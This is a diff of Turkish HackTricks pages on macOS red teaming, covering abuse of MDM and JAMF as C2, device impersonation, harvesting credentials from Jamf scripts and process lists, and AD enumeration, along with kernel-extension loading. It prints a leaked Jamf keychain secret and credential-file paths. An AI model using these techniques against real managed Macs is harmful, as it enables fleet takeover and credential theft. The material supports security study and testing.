* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da takip edin.** * **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar gönderin.
</details> </details>

View file

@ -6,11 +6,11 @@
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın! * **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünleri**](https://peass.creator-spring.com)'ni edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz * [**PEASS Ailesi**](https://opensea.io/collection/the-peass-family)'ni keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**. * **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR'lar göndererek paylaşın.
</details> </details>
@ -21,7 +21,7 @@ HackTricks'ı desteklemenin diğer yolları:
Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**. Yönetim platformuna erişmek için **yönetici kimlik bilgilerini ele geçirirseniz**, kötü amaçlı yazılımınızı makinelerde dağıtarak **tüm bilgisayarları potansiyel olarak tehlikeye atabilirsiniz**.
MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığını anlamak son derece önerilir: MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalıştığını anlamanız **şiddetle tavsiye edilir**:
{% content-ref url="macos-mdm/" %} {% content-ref url="macos-mdm/" %}
[macos-mdm](macos-mdm/) [macos-mdm](macos-mdm/)
@ -29,21 +29,21 @@ MacOS ortamlarında kırmızı takım faaliyetleri için MDM'lerin nasıl çalı
### MDM'yi C2 Olarak Kullanma ### MDM'yi C2 Olarak Kullanma
Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresi belirlemeye, FileVault anahtarını değiştirmeye izin verecektir... Bir MDM, profilleri yüklemeye, sorgulamaya veya kaldırmaya, uygulamaları yüklemeye, yerel yönetici hesapları oluşturmaya, firmware şifresini ayarlamaya, FileVault anahtarını değiştirmeye izin verecektir...
Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden **bir satıcı tarafından imzalanan CSR'nızı** almanız gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz. Kendi MDM'nizi çalıştırmak için [**https://mdmcert.download/**](https://mdmcert.download/) adresinden alabileceğiniz bir **CSR'nızı bir satıcı tarafından imzalatmanız** gerekmektedir. Apple cihazları için kendi MDM'nizi çalıştırmak için [**MicroMDM**](https://github.com/micromdm/micromdm) kullanabilirsiniz.
Ancak, bir uygulamayı kayıtlı bir cihaza yüklemek için hala bir geliştirici hesabı tarafından imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz. Ancak, kayıtlı bir cihaza uygulama yüklemek için hala bir geliştirici hesabıyla imzalanmış olması gerekmektedir... ancak, MDM kaydı sırasında **cihaz, MDM'nin SSL sertifikasını güvenilir bir CA olarak ekler**, böylece artık herhangi bir şeyi imzalayabilirsiniz.
Cihazı bir MDM'ye kaydetmek için, kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu dosya bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir). Bir cihazı MDM'ye kaydetmek için kök olarak bir **`mobileconfig`** dosyası yüklemeniz gerekmektedir, bu da bir **pkg** dosyası aracılığıyla teslim edilebilir (zip içinde sıkıştırabilir ve safari'den indirildiğinde açılabilir).
**Mythic ajanı Orthrus** bu tekniği kullanır. **Mythic ajanı Orthrus** bu tekniği kullanır.
### JAMF PRO'yu Kötüye Kullanma ### JAMF PRO'yu Kötüye Kullanma
JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi belirleme, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir. JAMF, **özel betikler** (sistem yöneticisi tarafından geliştirilen betikler), **yerel yükler** (yerel hesap oluşturma, EFI şifresi ayarlama, dosya/işlem izleme...) ve **MDM** (cihaz yapılandırmaları, cihaz sertifikaları...) çalıştırabilir.
#### JAMF otomatik kayıt #### JAMF kendi kaydı
Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Eğer etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**. Öz-kayıt etkinleştirilmiş bir sayfaya gitmek için `https://<şirket-adı>.jamfcloud.com/enroll/` gibi bir sayfaya gidin. Eğer etkinleştirilmişse **erişmek için kimlik bilgileri isteyebilir**.
@ -55,14 +55,14 @@ Ayrıca, uygun kimlik bilgileri bulduktan sonra diğer kullanıcı adlarını ka
#### JAMF cihaz Kimlik Doğrulama #### JAMF cihaz Kimlik Doğrulama
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**`jamf`** ikili dosyası, keşif zamanında herkesle paylaşılan anahtarı açmak için gizliydi ve o zamanlar: **`jk23ucnq91jfu9aj`** idi.\ **`jamf`** ikili dosyası, zamanında keşfedildiğinde **herkesle paylaşılan** anahtar zinciri açma sırrını içeriyordu ve bu: **`jk23ucnq91jfu9aj`** idi.\
Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır. Ayrıca, jamf **`/Library/LaunchAgents/com.jamf.management.agent.plist`** konumunda bir **LaunchDaemon** olarak kalıcıdır.
#### JAMF Cihaz Devralma #### JAMF Cihaz Devralma
**`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL'si**, **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\ **`jamf`**'ın kullanacağı **JSS** (Jamf Yazılım Sunucusu) **URL'si** **`/Library/Preferences/com.jamfsoftware.jamf.plist`** konumundadır.\
Bu dosya temelde URL'yi içerir: Bu dosya temelde URL'yi içerir:
{% code overflow="wrap" %} {% code overflow="wrap" %}
@ -78,7 +78,7 @@ plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist
<integer>4</integer> <integer>4</integer>
[...] [...]
``` ```
Böylece, bir saldırgan, bu dosyayı **üzerine yazacak şekilde ayarlanmış kötü amaçlı bir paket (`pkg`) bırakabilir ve yüklendiğinde URL'yi bir Typhon ajanından Mythic C2 dinleyicisine ayarlayarak artık JAMF'ı C2 olarak kötüye kullanabilir.** Böylece, bir saldırgan, bu dosyayı **üzerine yazacak şekilde** ayarlayarak yüklenen kötü amaçlı bir paket (`pkg`) bırakabilir ve artık JAMF'ı C2 olarak kötüye kullanabilir.
```bash ```bash
# After changing the URL you could wait for it to be reloaded or execute: # After changing the URL you could wait for it to be reloaded or execute:
sudo jamf policy -id 0 sudo jamf policy -id 0
@ -92,15 +92,15 @@ sudo jamf policy -id 0
Cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır: Cihaz ve JMF arasındaki iletişimi **taklit etmek** için şunlara ihtiyacınız vardır:
* Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` * Cihazın **UUID**'si: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'`
* Cihaz sertifikasını içeren **JAMF anahtar zinciri**: `/Library/Application\ Support/Jamf/JAMF.keychain` * Cihaz sertifikasını içeren **JAMF anahtar zinciri**'ni şuradan alın: `/Library/Application\ Support/Jamf/JAMF.keychain`
Bu bilgilerle, **çalınan** Donanım **UUID'si** ile ve **SIP devre dışı** bırakılmış bir VM **oluşturun**, **JAMF anahtar zincirini** bırakın, Jamf **ajansını kancala** ve bilgilerini çalın. Bu bilgilerle, **çalınan** Donanım **UUID**'si olan bir VM **oluşturun** ve **SIP devre dışı bırakılmışken**, **JAMF anahtar zincirini bırakın**, Jamf **ajansını kancalayın** ve bilgilerini çalın.
#### Sırların Çalınması #### Sırların Çalınması
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure> <figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption><p>a</p></figcaption></figure>
Ayrıca, yöneticilerin Jamf aracılığıyla yürütmek isteyebileceği **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz çünkü bunlar buraya **yerleştirilir, yürütülür ve kaldırılır**. Bu betikler **kimlik bilgilerini içerebilir**. Ayrıca, yöneticilerin Jamf aracılığıyla **çalıştırmak isteyebileceği** **özel betikleri** izlemek için `/Library/Application Support/Jamf/tmp/` konumunu izleyebilirsiniz çünkü bu betikler **buraya yerleştirilir, çalıştırılır ve kaldırılır**. Bu betikler **kimlik bilgileri içerebilir**.
Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir. Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olabilir, bu nedenle `ps aux | grep -i jamf`'yi (root olmadan bile) izlemeniz gerekebilir.
@ -108,7 +108,7 @@ Ancak, **kimlik bilgileri** bu betiklere **parametreler** olarak iletilmiş olab
### macOS Uzak Erişim ### macOS Uzak Erişim
Ve ayrıca **MacOS** "özel" **ağ** **protokolleri** hakkında: Ve ayrıca **MacOS**'un "özel" **ağ** **protokolleri** hakkında:
{% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %} {% content-ref url="../macos-security-and-privilege-escalation/macos-protocols.md" %}
[macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md) [macos-protocols.md](../macos-security-and-privilege-escalation/macos-protocols.md)
@ -137,8 +137,8 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır: Ayrıca, MacOS için AD'yi otomatik olarak numaralandırmak ve kerberos ile oynamak için bazı araçlar hazırlanmıştır:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir uzantıdır. * [**Machound**](https://github.com/XMCyber/MacHound): MacHound, MacOS ana bilgisayarlarında Active Directory ilişkilerini toplamak ve almak için Bloodhound denetim aracına bir uzantıdır.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi bir diğer çerçeve veya paket gerektirmeksizin macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır. * [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost, macOS'ta Heimdal krb5 API'leri ile etkileşim sağlamak üzere tasarlanmış bir Objective-C projesidir. Projenin amacı, hedef üzerinde herhangi bir diğer çerçeve veya paket gerektirmeden macOS cihazlarında Kerberos etrafında daha iyi güvenlik testleri yapılmasını sağlamaktır.
* [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı, Active Directory numaralandırması yapmak için kullanılır. * [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) aracı olan Orchard, Active Directory numaralandırması yapmak için kullanılır.
### Alan Bilgileri ### Alan Bilgileri
```bash ```bash
@ -146,20 +146,20 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
``` ```
### Kullanıcılar ### Kullanıcılar
MacOS kullanıcılarının üç türü şunlardır: MacOS kullanıcılarının üç türü vardır:
- **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılar. - **Yerel Kullanıcılar** — Yerel OpenDirectory hizmeti tarafından yönetilen, Active Directory ile herhangi bir şekilde bağlantılı olmayan kullanıcılar.
- **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirir. - **Ağ Kullanıcıları** — Geçici Active Directory kullanıcıları, kimlik doğrulamak için DC sunucusuna bağlantı gerektirir.
- **Mobil Kullanıcılar** — Kimlik ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcıları. - **Mobil Kullanıcılar** — Kimlik ve dosyaları için yerel bir yedekleme olan Active Directory kullanıcıları.
Kullanıcılar ve gruplarla ilgili yerel bilgiler, _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\ Kullanıcılar ve gruplarla ilgili yerel bilgiler _/var/db/dslocal/nodes/Default_ klasöründe saklanır.\
Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur. Örneğin, _mark_ adlı kullanıcıyla ilgili bilgiler _/var/db/dslocal/nodes/Default/users/mark.plist_ dosyasında saklanır ve _admin_ grubuyla ilgili bilgiler _/var/db/dslocal/nodes/Default/groups/admin.plist_ dosyasında bulunur.
HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**: HasSession ve AdminTo kenarlarını kullanmanın yanı sıra, **MacHound Bloodhound veritabanına üç yeni kenar ekler**:
- **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık - **CanSSH** - ana bilgisayara SSH yapmaya izin verilen varlık
- **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık - **CanVNC** - ana bilgisayara VNC yapmaya izin verilen varlık
- **CanAE** - ana bilgisayarda AppleEvent komut dosyalarını çalıştırmaya izin verilen varlık - **CanAE** - ana bilgisayarda AppleEvent betiklerini çalıştırmaya izin verilen varlık
```bash ```bash
#User enumeration #User enumeration
dscl . ls /Users dscl . ls /Users
@ -193,7 +193,7 @@ Anahtarlık büyük olasılıkla hassas bilgiler içerir ve eğer bir uyarı olu
## Harici Hizmetler ## Harici Hizmetler
MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete erişmek** (github, aws gibi). MacOS Kırmızı Takımı, genellikle **MacOS'un doğrudan birkaç harici platformla entegre olduğu normal Windows Kırmızı Takımdan farklıdır**. MacOS'un yaygın bir yapılandırması, **OneLogin senkronize kimlik bilgileri kullanarak bilgisayara erişim sağlamak ve OneLogin aracılığıyla birkaç harici hizmete erişmek**tir (github, aws gibi...).
## Çeşitli Kırmızı Takım teknikleri ## Çeşitli Kırmızı Takım teknikleri

View file

@ -5,16 +5,16 @@
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**. * **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) adresinden **beni takip edin**.
* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**. * **Hacking püf noktalarınızı göndererek PR göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan ve **`.kext`** uzantısına sahip **paketler** olan **doğrudan macOS çekirdek alanına yüklenen** bileşenlerdir. Kernel uzantıları (Kexts), ana işletim sistemine ek işlevsellik sağlayan ve **`.kext`** uzantısına sahip **paketler** olan **macOS çekirdek alanına doğrudan yüklenen** bileşenlerdir.
### Gereksinimler ### Gereksinimler
@ -28,18 +28,18 @@ Bu kadar güçlü olduğundan, bir kernel uzantısını yüklemek **oldukça kar
* Kernel uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım için kontrol edilebilir olacaktır. * Kernel uzantısı ayrıca **notarized** olmalıdır, Apple tarafından kötü amaçlı yazılım için kontrol edilebilir olacaktır.
* Ardından, **root** kullanıcısı, kernel uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir. * Ardından, **root** kullanıcısı, kernel uzantısını **yükleyebilen** ve paket içindeki dosyaların **root'a ait olması gereken** kişidir.
* Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda** hazırlanması gerekir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir). * Yükleme işlemi sırasında, paketin **korunan bir kök olmayan konumda** hazırlanması gerekir: `/Library/StagedExtensions` (`com.apple.rootless.storage.KernelExtensionManagement` iznini gerektirir).
* Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacak**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekecektir**. * Son olarak, yüklemeye çalışıldığında, kullanıcı [**bir onay isteği alacaktır**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) ve kabul edilirse, bilgisayarın yüklenmesi için **yeniden başlatılması gerekir**.
### Yükleme Süreci ### Yükleme Süreci
Catalina'da böyleydi: **Doğrulama** sürecinin **userland**'da gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, uzantının yüklenmesini istemek için çekirdeğe başvurabilir: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd` Catalina'da durum şöyleydi: **Doğrulama** sürecinin **userland**'da gerçekleştiğini belirtmek ilginçtir. Ancak, yalnızca **`com.apple.private.security.kext-management`** iznine sahip uygulamalar, uzantının yüklenmesini istemek için çekirdeğe başvurabilir: `kextcache`, `kextload`, `kextutil`, `kextd`, `syspolicyd`
1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** sürecini **başlatır** 1. **`kextutil`** cli, bir uzantının yüklenmesi için **doğrulama** sürecini **başlatır**
* Bir **Mach servisi** kullanarak **`kextd`** ile iletişim kuracaktır. * Bir **Mach servisi** kullanarak **`kextd`** ile iletişim kuracaktır.
2. **`kextd`**, imza gibi birkaç şeyi kontrol edecek 2. **`kextd`**, imza gibi çeşitli şeyleri kontrol edecek
* Uzantının **yüklenip yüklenemeyeceğini kontrol etmek** için **`syspolicyd`** ile iletişim kuracaktır. * Uzantının **yüklenebilir olup olmadığını kontrol etmek için** **`syspolicyd`** ile iletişim kuracaktır.
3. **`syspolicyd`**, uzantı daha önce yüklenmediyse **kullanıcıya bir onay isteği gönderecektir**. 3. **`syspolicyd`**, uzantının daha önce yüklenmediyse **kullanıcıya onay isteyecektir**.
* **`syspolicyd`**, sonucu **`kextd`'ye** bildirecektir * Sonucu **`kextd`**'ye bildirecektir **`syspolicyd`**
4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesi için **talimat verebilecektir** 4. **`kextd`**, sonunda çekirdeğe uzantıyı yüklemesi için **talimat verebilecektir**
Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir. Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir.
@ -54,9 +54,9 @@ Eğer **`kextd`** mevcut değilse, **`kextutil`** aynı kontrolleri yapabilir.
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary> <summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
* **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin! * **Bir siber güvenlik şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te görmek ister misiniz**? Ya da **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonunu * [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'ler**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin * [**PEASS ve HackTricks'in resmi ürünlerini**](https://peass.creator-spring.com) edinin
* **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) **takip edin**. * **Discord** [**💬**](https://emojipedia.org/speech-balloon/) **grubuna katılın** veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live) adresinden **beni takip edin**.
* **Hacking püf noktalarınızı göndererek PR göndererek** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **paylaşın**. * **Hacking püf noktalarınızı göndererek PR göndererek paylaşın** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **ve** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>

View file

@ -2,23 +2,23 @@
<details> <details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary> <summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları: HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na (https://github.com/sponsors/carlospolop) göz atın! * **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin * [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz * [**The PEASS Ailesi**]'ni(https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i(https://opensea.io/collection/the-peass-family) içeren koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.** * 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
* **Hacking püf noktalarınızı paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek katkıda bulunun. * **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar gönderin.
</details> </details>
## Temel Bilgiler ## Temel Bilgiler
